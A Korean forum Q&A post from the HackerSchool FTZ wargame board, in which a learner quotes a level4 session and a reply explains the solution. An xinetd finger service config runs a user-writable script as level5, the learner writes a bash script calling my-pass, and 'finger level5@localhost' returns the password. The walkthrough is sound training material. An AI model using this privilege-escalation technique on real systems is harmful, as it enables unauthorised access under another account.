|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=654 [복사]
>[level4@ftz level4]$ cat hint
>
>
>누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
>
>
>[level4@ftz level4]$ cd /etc/xinetd.d
>[level4@ftz xinetd.d]$ ls -al
>total 60
>drwxr-xr-x 2 root root 4096 Aug 5 23:50 .
>drwxr-xr-x 51 root root 4096 Oct 24 08:46 ..
>-rw-r--r-- 1 root root 171 Mar 28 2003 backdoor
>-rw-r--r-- 1 root root 295 Mar 28 2003 chargen
>-rw-r--r-- 1 root root 315 Mar 28 2003 chargen-udp
>-rw-r--r-- 1 root root 295 Mar 28 2003 daytime
>-rw-r--r-- 1 root root 315 Mar 28 2003 daytime-udp
>-rw-r--r-- 1 root root 287 Mar 28 2003 echo
>-rw-r--r-- 1 root root 306 Mar 28 2003 echo-udp
>-rw-r--r-- 1 root root 312 Mar 28 2003 servers
>-rw-r--r-- 1 root root 310 Mar 28 2003 services
>-rw-r--r-- 1 root root 406 Mar 28 2003 sgi_fam
>-rw-r--r-- 1 root root 302 Mar 28 2003 telnet
>-rw-r--r-- 1 root root 319 Mar 28 2003 time
>-rw-r--r-- 1 root root 315 Mar 28 2003 time-udp
>[level4@ftz xinetd.d]$ cat backdoor
>service finger
>{
> disable = no
> flags = REUSE
> socket_type = stream
> wait = no
> user = level5
> server = /home/level4/tmp/backdoor
> log_on_failure += USERID
>}
>[level4@ftz xinetd.d]$ cd /home/level4/tmp
>[level4@ftz tmp]$ ls -al
>total 8
>drwxrwxr-x 2 root level4 4096 Oct 27 19:20 .
>drwxr-xr-x 4 root level4 4096 May 7 2002 ..
>[level4@ftz tmp]$ vi backdoor
>#!/bin/bash
>my-pass
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>~
>:wq
>"backdoor" [New] 2L, 20C written
>[level4@ftz tmp]$ ls -al
>total 12
>drwxrwxr-x 2 root level4 4096 Oct 27 19:41 .
>drwxr-xr-x 4 root level4 4096 May 7 2002 ..
>-rw-rw-r-- 1 level4 level4 20 Oct 27 19:41 backdoor
>[level4@ftz tmp]$ finger level5@localhost
>Broken pipe
>[level4@ftz tmp]$
>
>------------------------------------------------------------
>
>이건 밎에 어떤분이 쓰신글줄 일부분입니다.
>
>이걸보고 대충따라하니까. 레벨5패스워드가 보이더군요..
>
>근데 생각을해봐도 어떡케해서 패스워드를 얻어냇는지..이해가안갑니다.
>
>어떤원리인가요~?
>
>궁금해미치겟어요..TT
>
님의 글의 내용중
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
이렇게 있습니다,
이게 백도어 설정 파일이라고 보시면 됩니다
저기 위에 보면 finger포트를 사용하는것을 알수 있습니다
다른건 몰라도 되고 자세히 보면
user 란에는 level5 sever 란에는 /home/level4/tmp/backdoor
그리구 log_on_failure 에는 USERID 라고 써있습니다
뜻을 해석해보자면 finger포트로 접속하면 로그인과정 없이 level5라는 권한이 주어진후 /home/level5/tmp/backdoor 라는 프로그램을 실행합니다,
그래서 cd /home/level5/tmp/로 간다음에 backdoor라는 프로그램을 작성한것입니다
이 backdoor는 쉘스크립트로 작성되어있구 쉘스크립트는 항상
#!/bin/bash 로 시작합니다
내용을보면 my-pass인걸보아 비번을 출력해주는 프로그램이라는 알수 있습니다,
그리구 프로그램을 만든후 chomd로 다른사람에게도 실행권한을 주어야 합니다
왜냐하면 backdoor라는 프로그램은 나(level4)가 작성하지만 프로그램을 실행하는 finger는 level5의 권한으로 작동하기 때문입니다
그리구 finger의 사용법은 finger 유저네임@아이피주소 입니다
근데 localhost는 자기자신을 가르키는 아이피로 해커스쿨에서 finger도 돌리고 받고 하기때문에 자기자신을 가르키는 localhost라고 쳐야합니다,
물론 ftz의 아이피주소나, ftz.hackerschool.org라고 쳐도 됩니다
|
Hit : 3984 Date : 2003/11/22 06:58
|
2844, 
4/143 
